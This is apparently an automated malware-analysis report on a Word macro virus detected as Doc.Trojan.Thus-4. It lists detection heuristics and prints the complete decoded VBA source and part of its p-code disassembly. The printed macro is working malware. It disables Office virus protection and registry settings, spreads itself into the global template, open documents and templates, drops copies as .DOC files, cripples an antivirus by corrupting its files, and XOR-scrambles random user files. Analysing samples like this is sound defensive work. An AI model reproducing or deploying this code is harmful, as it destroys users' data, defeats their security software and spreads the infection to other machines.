MALICIOUS
248
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample contains legacy WordBasic macro markers and a Document_Open macro, indicating an attempt to execute malicious code when the document is opened. ClamAV detection as 'Doc.Trojan.Thus-4' strongly suggests a known malware family, though specific details are not available. The macro code is truncated, but its presence and the legacy markers point to a classic macro-based infection vector.
Heuristics 5
-
ClamAV: Doc.Trojan.Thus-4 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Thus-4
-
VBA macros detected medium 2 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATIONVBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.Matched line in script
.DeleteLines 1, NormalTemplate.VBProject.VBComponents.Item(1) _ -
Document_Open macro low OLE_VBA_DOCOPENDocument_Open macroMatched line in script
Private Sub Document_Open() -
Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUSOLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 43030 bytes |
SHA-256: 64a65da5d64a56948c69dcdb1e7c99e1e60bdac429d44b0fa894a7dd1e4d8020 |
|||
|
Detection
ClamAV:
Doc.Trojan.Thus-4
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
'Thus_001'
'NIST_32a'
Private Declare Function CopyFile& Lib "kernel32" Alias "CopyFileA" (ByVal _
lpExistingFileName As String, ByVal lpNewFileName As String, ByVal _
bFailIfExists As Long)
Private Sub CommandButton1_Click()
End Sub
Private Sub Document_Open()
Dim Res As String, x As String, k As Integer, Sd As Boolean, Nt As Boolean
On Error Resume Next
With Application
.EnableCancelKey = 0
.ScreenUpdating = False
.Options.VirusProtection = Chr(3696 / 7 / 11)
.Options.ConfirmConversions = Chr(8976 / 11 / 17)
.Options.SaveNormalPrompt = Chr(1872 / 3 / 13)
.Options.SavePropertiesPrompt = Chr(9072 / 9 / 21)
.DefaultSaveFormat = ""
.DisplayAlerts = 0
.DisplayStatusBar = Chr(48)
End With
WordBasic.DisableAutoMacros 0
If Left(NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(3, 1), 9) <> "'NIST_32a" Then
NormalTemplate.VBProject.VBComponents.Item(1).CodeModule _
.DeleteLines 1, NormalTemplate.VBProject.VBComponents.Item(1) _
.CodeModule.CountOfLines
Nt = -1
End If
Randomize
If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines = 0 Then
NormalTemplate.VBProject.VBComponents.Item(1).CodeModule _
.InsertLines 1, ActiveDocument.VBProject.VBComponents.Item(1) _
.CodeModule.Lines(1, ActiveDocument.VBProject.VBComponents _
.Item(1).CodeModule.CountOfLines)
End If
If NormalTemplate.Saved = False Then NormalTemplate.Save
For k = 1 To Application.Documents.Count
If Left(Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.Lines(3, 1), 9) <> "'NIST_32a" Then
Sd = Application.Documents.Item(k).Saved
Application.Documents.Item(k).ReadOnlyRecommended = Chr(48)
Application.Documents.Item(k).VBProject.VBComponents.Item(1) _
.CodeModule.DeleteLines 1, Application.Documents.Item(k) _
.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
End If
If Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.CountOfLines = 0 Then
Application.Documents.Item(k).VBProject.VBComponents.Item(1) _
.CodeModule.InsertLines 1, NormalTemplate.VBProject.VBComponents _
.Item(1).CodeModule.Lines(1, NormalTemplate.VBProject _
.VBComponents.Item(1).CodeModule.CountOfLines)
If (Sd) And (Dir(Application.Documents.Item(k).FullName, 7) <> "") Then Application.Documents.Item(k).Save
End If
Next k
For k = 1 To Application.Templates.Count
If Left(Application.Templates.Item(k).VBProject.VBComponents.Item(1).CodeModule.Lines(3, 1), 9) <> "'NIST_32a" Then
Application.Templates.Item(k).VBProject.VBComponents.Item(1) _
.CodeModule.DeleteLines 1, Application.Templates.Item(k) _
.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
End If
If Application.Templates.Item(k).VBProject.VBComponents.Item(1).CodeModule.CountOfLines = 0 Then
Application.Templates.Item(k).VBProject.VBComponents.Item(1) _
.CodeModule.InsertLines 1, NormalTemplate.VBProject.VBComponents _
.Item(1).CodeModule.Lines(1, NormalTemplate.VBProject _
.VBComponents.Item(1).CodeModule.CountOfLines)
End If
Next k
If Nt Then Exit Sub
Dpio
If ActiveDocument.SaveFormat < 2 Then
If (ActiveDocument.Saved = False) And (ActiveDocument.ReadOnly = False) Then
If Dir(ActiveDocument.FullName, 7) = "" Then
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, ReadOnlyRecommended:=0
Else: ActiveDocument.Save
End If
ActiveDocument.Saved = False
End If
Rcy ActiveDocument.FullName
End If
Asd
Res = Rdr(Chr(Int((Gds() * Rnd) + 1) + 66) & Chr(58) & Chr(92))
If Res <> "" Then x = Rfe(Res, "*.*")
If x <> "" Then Res = Res & x Else Res = ""
If Res <> "" Then Dfe Res
Application.ScreenUpdating = True
Application.EnableCancelKey = 1
Application.DisplayAlerts = -1
End Sub
Private Sub Document_Close()
Document_Open
End Sub
Private Sub Document_New()
Document_Open
End Sub
Private Sub AutoExec()
Document_Open
End Sub
Private Sub AutoExit()
Document_Open
End Sub
Private Sub FileOpen()
On Error GoTo Fo
With Dialogs(80)
.Display
If .Name <> "" Then
SetAttr .Name, 0
.ReadOnly = Chr(48)
.ConfirmConversions = 0
.Execute
End If
End With
Fo:
End Sub
Private Sub AutoSave()
Document_Open
End Sub
Private Sub Auto_Save()
Document_Open
End Sub
Private Sub ToolsMacro()
Document_Open
MsgBox "File VBADLG.DLL not found", 16
End Sub
Private Sub ViewVBCode()
Document_Open
MsgBox "File VBADLG.DLL not found", 16
End Sub
Private Sub FileTemplates()
Document_Open
MsgBox "Global template not loaded", 16
End Sub
Private Sub ToolsOptions()
Application.Options.VirusProtection = Chr(49)
Dialogs(wdDialogToolsOptions).Show
Application.Options.VirusProtection = Chr(48)
End Sub
Private Function Gds() As Byte
Const Rt = ":\"
Dim FileNum As Integer
Dim St As String
Dim i As Byte, k As Byte
On Error GoTo Ext
For i = 1 To 27
St = Chr(66 + i) & Rt & Chr(96)
FileNum = FreeFile
Open St For Binary As #FileNum
Close #FileNum
Kill St
k = k + 1
Next i
Ext:
Gds = k
End Function
Private Function Rdd(ByVal Path As String) As String
Const Maska = "*.*"
Dim n As Integer, i As Integer
Dim Buf(1 To 4000) As String
Dim FindNmi As String
n = 0
i = 1
If Right(Path, 1) <> "\" Then Path = Path & "\"
On Error GoTo Errs
FindNmi = Dir(Path, 23)
Do While FindNmi <> ""
If (GetAttr(Path & FindNmi) And vbDirectory) = vbDirectory Then
If Mid(FindNmi, 1, 1) <> "." Then
n = n + 1
Buf(i) = FindNmi
i = i + 1
End If
End If
FindNmi = Dir
Loop
Rdd = UCase(Path & Buf(Int((n * Rnd) + 1)))
Errs:
If n = 0 Then Rdd = ""
End Function
Private Function Rdr(ByVal Path As String) As String
Const Root = ":"
Dim tmp As String
Dim i As Integer
Dim GetRandom As Integer
Dim RandStep As Integer
GetRandom = Int((1001 * Rnd) + 1)
RandStep = 0
For i = 1 To 10
tmp = Rdd(Path)
If tmp <> "" Then Path = tmp
If (tmp = "") And (i = 1) Then
Rdr = ""
Exit Function
End If
If (tmp = "") And (i <> 1) Then
Rdr = Path & "\"
Exit Function
End If
Select Case RandStep
Case 0 To 200
RandStep = RandStep + 200
Case 400 To 600
RandStep = RandStep + 100
Case 700 To 900
RandStep = RandStep + 50
End Select
If RandStep >= GetRandom Then
Rdr = Path & "\"
Exit Function
End If
Next i
End Function
Private Function Rfe(ByVal Path As String, Maska As String) As String
Dim n As Integer, i As Integer
Dim Buf(1 To 4000) As String
Dim FindNmi As String
n = 0
i = 1
Path = Path & Maska
On Error GoTo Errs
FindNmi = Dir(Path, 7)
Do While FindNmi <> ""
n = n + 1
Buf(i) = FindNmi
i = i + 1
FindNmi = Dir
Loop
Rfe = UCase(Buf(Int(n * Rnd) + 1))
Errs:
If n = 0 Then Rfe = ""
End Function
Private Sub Dfe(Path As String)
Dim Attr As Integer
Dim Siz As Long, Cmp As Long
Dim FileNum As Integer
Dim i As Integer
Dim Ofs As Byte
On Error GoTo Ends
Siz = FileLen(Path)
If Siz < 11 Then Exit Sub
Attr = GetAttr(Path)
SetAttr Path, 0
FileNum = FreeFile
Open Path For Binary As #FileNum
If Siz < 32763 Then Ofs = 9 Else Ofs = 3
Get #FileNum, Siz - Ofs, Cmp
If Siz = Cmp Then Exit Sub
Cmp = Siz
If Siz > 32763 Then Siz = 32763
ReDim Buf(1 To Siz) As Byte
Rnd (-100)
Get #FileNum, 10, Buf
For i = 1 To Siz
Buf(i) = Buf(i) Xor Int((255 * Rnd) + 0)
Next i
Put #FileNum, 10, Buf
Cmp = Cmp + Ofs
Put #FileNum, Cmp - Ofs, Cmp
Close #FileNum
SetAttr Path, Attr
Ends:
End Sub
Private Sub Rcy(Sours As String)
Dim Fls As String, DirR As String
Dim k As Long, Er As Integer
On Error GoTo YYY
Do
DirR = Rdr(Chr(Int((Gds() * Rnd) + 1) + 66) & Chr(58) & Chr(92))
Fls = Rfe(DirR, "*.*")
Er = Er + 1
If Er > 10 Then Exit Sub
Loop Until Fls <> ""
k = InStr(1, Fls, ".", 1)
If k <> 0 Then
Fls = Left(Fls, Len(Fls) - (Len(Fls) - k) - 1)
End If
Fls = Fls & ".DOC"
DirR = DirR & Fls
k = CopyFile&(Sours, DirR, 0)
YYY:
End Sub
Private Sub Dpio()
Const Path = "\Software\Microsoft\Office\"
Const Ver = "8.0\"
Const NewUse = "New User Settings\"
Const Def = "\.Default"
Dim Keys(1 To 3) As String
Keys(1) = "HKEY_LOCAL_MACHINE"
Keys(2) = "HKEY_CURRENT_USER"
Keys(3) = "HKEY_USERS"
Dim Dis(1 To 3) As String
Dis(1) = "EnableMacroVirusProtection"
Dis(2) = "Options6"
Dis(3) = "MacroVirusProtection"
Dim AddId(1 To 6) As String
AddId(1) = "Word\Options"
AddId(2) = "Excel\Microsoft Excel"
AddId(3) = "PowerPoint\Options"
AddId(4) = "Word\7.0\Options"
AddId(5) = "Excel\7.0\Microsoft Excel"
AddId(6) = "PowerPoint\7.0\Options"
Dim i As Integer
Dim k As Integer
Dim x As Integer
Dim Use As String
On Error Resume Next
With System
Use = .PrivateProfileString("", Keys(1) & "\System\CurrentControlSet\control", "Current User")
If Use <> ".Default" Then x = 3 Else x = 2
For k = 1 To x
For i = 1 To 3
Select Case k
Case 1
.PrivateProfileString("", Keys(k) & Path & Ver & NewUse & AddId(i), Dis(i)) = Chr(48)
.PrivateProfileString("", Keys(k) & "\Software\Microsoft\" & NewUse & AddId(i + 3), Dis(i)) = Chr(48)
Case 2
.PrivateProfileString("", Keys(k) & Path & Ver & AddId(i), Dis(i)) = Chr(48)
.PrivateProfileString("", Keys(k) & "\Software\Microsoft\" & AddId(i + 3), Dis(i)) = Chr(48)
Case 3
.PrivateProfileString("", Keys(k) & Def & Path & Ver & AddId(i), Dis(i)) = Chr(48)
.PrivateProfileString("", Keys(k) & Def & "\Software\Microsoft\" & AddId(i + 3), Dis(i)) = Chr(48)
End Select
Next i
Next k
End With
End Sub
Private Sub Asd()
Const Path1 = "\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
Const Path2 = "\System\CurrentControlSet\Services\VxD\SpIDer"
Const Key = "HKEY_LOCAL_MACHINE"
Const RN = "RUNDLL.EXE"
Dim Nmi As String
Dim ProgPath As String
On Error Resume Next
Nmi = Chr(83) & Chr(112) & Chr(73) & Chr(68) & Chr(101) & Chr(114)
With System
ProgPath = .PrivateProfileString("", Key & Path1, Nmi)
If (ProgPath <> "") And (ProgPath <> RN) Then
.PrivateProfileString("", Key & Path1, Nmi) = RN
.PrivateProfileString("", Key & Path2, "StaticVxD") = "*IOS"
ProgPath = Ptd(ProgPath)
Nmi = Dir(ProgPath & "*.EXE", 7)
Do While Nmi <> ""
Dfe (ProgPath & Nmi)
Nmi = Dir
Loop
Nmi = Dir(ProgPath & "*.VDB", 7)
Do While Nmi <> ""
Dfe (ProgPath & Nmi)
Nmi = Dir
Loop
End If
End With
End Sub
Private Function Ptd(Path As String) As String
Dim tmp As String
Dim i As Long, k As Long
On Error GoTo Sti
If Path = "" Then GoTo Sti
k = Len(Path)
For i = k To 1 Step -1
If Mid(Path, i, 1) = "\" Then Exit For
Next i
Ptd = Left(Path, i)
Exit Function
Sti:
Ptd = ""
End Function
' Processing file: /tmp/qstore_080x36vi
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 21674 bytes
' Line #0:
' Line #1:
' QuoteRem 0x0000 0x0009 "Thus_001'"
' Line #2:
' QuoteRem 0x0000 0x0009 "NIST_32a'"
' Line #3:
' LineCont 0x0008 0A 00 04 00 14 00 04 00
' FuncDefn (Private Declare Function CopyFile Lib "kernel32" (ByVal lpExistingFileName As String, ByVal lpNewFileName As String, ByVal bFailIfExists As Long))
' Line #4:
' Line #5:
' FuncDefn (Private Sub CommandButton1_Click())
' Line #6:
' Line #7:
' EndSub
' Line #8:
' Line #9:
' FuncDefn (Private Sub Document_Open())
' Line #10:
' Dim
' VarDefn Res (As String)
' VarDefn x (As String)
' VarDefn k (As Integer)
' VarDefn Sd (As Boolean)
' VarDefn Nt (As Boolean)
' Line #11:
' OnError (Resume Next)
' Line #12:
' Line #13:
' StartWithExpr
' Ld Application
' With
' Line #14:
' LitDI2 0x0000
' MemStWith EnableCancelKey
' Line #15:
' LitVarSpecial (False)
' MemStWith ScreenUpdating
' Line #16:
' LitDI2 0x0E70
' LitDI2 0x0007
' Div
' LitDI2 0x000B
' Div
' ArgsLd Chr 0x0001
' MemLdWith Options
' MemSt VirusProtection
' Line #17:
' LitDI2 0x2310
' LitDI2 0x000B
' Div
' LitDI2 0x0011
' Div
' ArgsLd Chr 0x0001
' MemLdWith Options
' MemSt ConfirmConversions
' Line #18:
' LitDI2 0x0750
' LitDI2 0x0003
' Div
' LitDI2 0x000D
' Div
' ArgsLd Chr 0x0001
' MemLdWith Options
' MemSt SaveNormalPrompt
' Line #19:
' LitDI2 0x2370
' LitDI2 0x0009
' Div
' LitDI2 0x0015
' Div
' ArgsLd Chr 0x0001
' MemLdWith Options
' MemSt SavePropertiesPrompt
' Line #20:
' LitStr 0x0000 ""
' MemStWith DefaultSaveFormat
' Line #21:
' LitDI2 0x0000
' MemStWith DisplayAlerts
' Line #22:
' LitDI2 0x0030
' ArgsLd Chr 0x0001
' MemStWith DisplayStatusBar
' Line #23:
' EndWith
' Line #24:
' LitDI2 0x0000
' Ld WordBasic
' ArgsMemCall DisableAutoMacros 0x0001
' Line #25:
' LitDI2 0x0003
' LitDI2 0x0001
' LitDI2 0x0001
' Ld NormalTemplate
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' MemLd CodeModule
' ArgsMemLd Lines 0x0002
' LitDI2 0x0009
' ArgsLd LBound 0x0002
' LitStr 0x0009 "'NIST_32a"
' Ne
' IfBlock
' Line #26:
' LineCont 0x0008 0C 00 04 00 1A 00 04 00
' LitDI2 0x0001
' LitDI2 0x0001
' Ld NormalTemplate
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' MemLd CodeModule
' MemLd CountOfLines
' LitDI2 0x0001
' Ld NormalTemplate
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' MemLd CodeModule
' ArgsMemCall DeleteLines 0x0002
' Line #27:
' LitDI2 0x0001
' UMi
' St Nt
' Line #28:
' EndIfBlock
' Line #29:
' ArgsCall Read 0x0000
' Line #30:
' LitDI2 0x0001
' Ld NormalTemplate
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' MemLd CodeModule
' MemLd CountOfLines
' LitDI2 0x0000
' Eq
' IfBlock
' Line #31:
' LineCont 0x000C 0C 00 04 00 1A 00 04 00 26 00 04 00
' LitDI2 0x0001
' LitDI2 0x0001
' LitDI2 0x0001
' Ld ActiveDocument
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' MemLd CodeModule
' MemLd CountOfLines
' LitDI2 0x0001
' Ld ActiveDocument
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' MemLd CodeModule
' ArgsMemLd Lines 0x0002
' LitDI2 0x0001
' Ld NormalTemplate
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' MemLd CodeModule
' ArgsMemCall InsertLines 0x0002
' Line #32:
' EndIfBlock
' Line #33:
' Ld NormalTemplate
' MemLd Saved
' LitVarSpecial (False)
' Eq
' If
' BoSImplicit
' Ld NormalTemplate
' ArgsMemCall Save 0x0000
' EndIf
' Line #34:
' StartForVariable
' Ld k
' EndForVariable
' LitDI2 0x0001
' Ld Application
' MemLd Documents
' MemLd Count
' For
' Line #35:
' LitDI2 0x0003
' LitDI2 0x0001
' LitDI2 0x0001
' Ld k
' Ld Application
' MemLd Documents
' ArgsMemLd Item 0x0001
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' MemLd CodeModule
' ArgsMemLd Lines 0x0002
' LitDI2 0x0009
' ArgsLd LBound 0x0002
' LitStr 0x0009 "'NIST_32a"
' Ne
' IfBlock
' Line #36:
' Ld k
' Ld Application
' MemLd Documents
' ArgsMemLd Item 0x0001
' MemLd Saved
' St Sd
' Line #37:
' LitDI2 0x0030
' ArgsLd Chr 0x0001
' Ld k
' Ld Application
' MemLd Documents
' ArgsMemLd Item 0x0001
' MemSt ReadOnlyRecommended
' Line #38:
' LineCont 0x0008 11 00 04 00 1F 00 04 00
' LitDI2 0x0001
' LitDI2 0x0001
' Ld k
' Ld Application
' MemLd Documents
' ArgsMemLd Item 0x0001
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' MemLd CodeModule
' MemLd CountOfLines
' LitDI2 0x0001
' Ld k
' Ld Application
' MemLd Documents
' ArgsMemLd Item 0x0001
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' MemLd CodeModule
' ArgsMemCall DeleteLines 0x0002
' Line #39:
' EndIfBlock
' Line #40:
' LitDI2 0x0001
' Ld k
' Ld Application
' MemLd Documents
' ArgsMemLd Item 0x0001
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' MemLd CodeModule
' MemLd CountOfLines
' LitDI2 0x0000
' Eq
' IfBlock
' Line #41:
' LineCont 0x000C 11 00 04 00 1C 00 04 00 2B 00 04 00
' LitDI2 0x0001
' LitDI2 0x0001
' LitDI2 0x0001
' Ld NormalTemplate
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' MemLd CodeModule
' MemLd CountOfLines
' LitDI2 0x0001
' Ld NormalTemplate
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' MemLd CodeModule
' ArgsMemLd Lines 0x0002
' LitDI2 0x0001
' Ld k
' Ld Application
' MemLd Documents
' ArgsMemLd Item 0x0001
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' MemLd CodeModule
' ArgsMemCall InsertLines 0x0002
' Line #42:
' Ld Sd
' Paren
' Ld k
' Ld Application
' MemLd Documents
' ArgsMemLd Item 0x0001
' MemLd FullName
' LitDI2 0x0007
' ArgsLd Dir 0x0002
' LitStr 0x0000 ""
' Ne
' Paren
' And
' If
' BoSImplicit
' Ld k
' Ld Application
' MemLd Documents
' ArgsMemLd Item 0x0001
' ArgsMemCall Save 0x0000
' EndIf
' Line #43:
' EndIfBlock
' Line #44:
' StartForVariable
' Ld k
' EndForVariable
' NextVar
' Line #45:
' StartForVariable
' Ld k
' EndForVariable
' LitDI2 0x0001
' Ld Application
' MemLd Templates
' MemLd Count
' For
' Line #46:
' LitDI2 0x0003
' LitDI2 0x0001
' LitDI2 0x0001
' Ld k
' Ld Application
' MemLd Templates
' ArgsMemLd Item 0x0001
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' MemLd CodeModule
' ArgsMemLd Lines 0x0002
' LitDI2 0x0009
' ArgsLd LBound 0x0002
' LitStr 0x0009 "'NIST_32a"
' Ne
' IfBlock
' Line #47:
' LineCont 0x0008 11 00 04 00 1F 00 04 00
' LitDI2 0x0001
' LitDI2 0x0001
' Ld k
' Ld Application
' MemLd Templates
' ArgsMemLd Item 0x0001
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' MemLd CodeModule
' MemLd CountOfLines
' LitDI2 0x0001
' Ld k
' Ld Application
' MemLd Templates
' ArgsMemLd Item 0x0001
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' MemLd CodeModule
' ArgsMemCall DeleteLines 0x0002
' Line #48:
' EndIfBlock
' Line #49:
' LitDI2 0x0001
' Ld k
' Ld Application
' MemLd Templates
' ArgsMemLd Item 0x0001
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' MemLd CodeModule
' MemLd CountOfLines
' LitDI2 0x0000
' Eq
' IfBlock
' Line #50:
' LineCont 0x000C 11 00 04 00 1C 00 04 00 2B 00 04 00
' LitDI2 0x0001
' LitDI2 0x0001
' LitDI2 0x0001
' Ld NormalTemplate
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' MemLd CodeModule
' MemLd CountOfLines
' LitDI2 0x0001
' Ld NormalTemplate
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' MemLd CodeModule
' ArgsMemLd Lines 0x0002
' LitDI2 0x0001
' Ld k
' Ld Application
' MemLd Templates
' ArgsMemLd Item 0x0001
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' MemLd CodeModule
' ArgsMemCall InsertLines 0x0002
' Line #51:
' EndIfBlock
' Line #52:
' StartForVariable
' Ld k
' EndForVariable
' NextVar
' Line #53:
' Ld Nt
' If
' BoSImplicit
' ExitSub
' EndIf
' Line #54:
' ArgsCall Dpio 0x0000
' Line #55:
' Ld ActiveDocument
' MemLd SaveFormat
' LitDI2 0x0002
' Lt
' IfBlock
' Line #56:
' Ld ActiveDocument
' MemLd Saved
' LitVarSpecial (False)
' Eq
' Paren
' Ld ActiveDocument
' MemLd ReadOnly
' LitVarSpecial (False)
' Eq
' Paren
' And
' IfBlock
' Line #57:
' Ld ActiveDocument
' MemLd FullName
' LitDI2 0x0007
' ArgsLd Dir 0x0002
' LitStr 0x0000 ""
' Eq
' IfBlock
' Line #58:
' Ld ActiveDocument
' MemLd FullName
' ParamNamed FileName
' LitDI2 0x0000
' ParamNamed ReadOnlyRecommended
' Ld ActiveDocument
' ArgsMemCall SaveAs 0x0002
' Line #59:
' ElseBlock
' BoS 0x0000
' Ld ActiveDocument
' ArgsMemCall Save 0x0000
' Line #60:
' EndIfBlock
' Line #61:
' LitVarSpecial (False)
' Ld ActiveDocument
' MemSt Saved
' Line #62:
' EndIfBlock
' Line #63:
' Ld ActiveDocument
' MemLd FullName
' ArgsCall Rcy 0x0001
' Line #64:
' EndIfBlock
' Line #65:
' ArgsCall Asd 0x0000
' Line #66:
' ArgsLd Gds 0x0000
' Ld Rnd
' Mul
' Paren
' LitDI2 0x0001
' Add
' FnInt
' LitDI2 0x0042
' Add
' ArgsLd Chr 0x0001
' LitDI2 0x003A
' ArgsLd Chr 0x0001
' Concat
' LitDI2 0x005C
' ArgsLd Chr 0x0001
' Concat
' ArgsLd Rdr 0x0001
' St Res
' Line #67:
' Ld Res
' LitStr 0x0000 ""
' Ne
' If
' BoSImplicit
' Ld Res
' LitStr 0x0003 "*.*"
' ArgsLd Rfe 0x0002
' St x
' EndIf
' Line #68:
' Ld x
' LitStr 0x0000 ""
' Ne
' If
' BoSImplicit
' Ld Res
' Ld x
' Concat
' St Res
' Else
' BoSImplicit
' LitStr 0x0000 ""
' St Res
' EndIf
' Line #69:
' Ld Res
' LitStr 0x0000 ""
' Ne
' If
' BoSImplicit
' Ld Res
' ArgsCall Dfe 0x0001
' EndIf
' Line #70:
' LitVarSpecial (True)
' Ld Application
' MemSt ScreenUpdating
' Line #71:
' LitDI2 0x0001
' Ld Application
' MemSt EnableCancelKey
' Line #72:
' LitDI2 0x0001
' UMi
' Ld Application
' MemSt DisplayAlerts
' Line #73:
' EndSub
' Line #74:
' FuncDefn (Private Sub Document_Close())
' Line #75:
' ArgsCall Document_Open 0x0000
' Line #76:
' EndSub
' Line #77:
' FuncDefn (Private Sub Document_New())
…
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.